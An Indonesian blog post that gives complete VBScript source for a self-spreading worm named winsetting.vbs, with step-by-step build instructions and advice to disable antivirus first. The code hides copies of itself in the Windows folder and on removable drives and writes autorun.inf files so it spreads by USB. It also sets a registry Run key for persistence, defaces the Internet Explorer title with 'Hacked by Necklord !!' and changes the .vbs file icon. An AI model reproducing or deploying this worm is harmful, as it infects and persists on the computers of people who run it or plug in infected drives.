Script WINSETTING!

18 11 2007

Script win setting dapat digunakan untuk keperluan sehari hari. Terutama untuk menginfeksi komputer anda yang dalam kondisi baik 100%.

Shilakan ikuti langkah pembuatannya:

1) Script ini ditulis menggunakan bahasa vbscript (Sekedar informasi).
2) Disable antivirus anda (Jika biar bisa ditest)
3) Buka notepad, kemudian ketik script berikut:

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe winsetting.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\winsetting.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\winsetting.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\winsetting.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\winsetting.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\winsetting.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Necklord !!”
rg.regwrite “HKCR\vbsfile\DefaultIcon”,”shell32.dll,2″
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

4) Klik file, kemudian pilih save. Ganti pilihan save as type dari text document menjadi all files. Setelah itu, ketikan nama file diikuti: .vbs (Misal : contoh.vbs, script.vbs, dokumen.vbs, dll)
5) Shilakan dibuka scriptnya :)

NB: Script ini merupakan … (Lihat keterangan antivirus anda).


Tindakan

Information

Tinggalkan Balasan

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Ubah )

Twitter picture

You are commenting using your Twitter account. Log Out / Ubah )

Facebook photo

You are commenting using your Facebook account. Log Out / Ubah )

Connecting to %s




Ikuti

Get every new post delivered to your Inbox.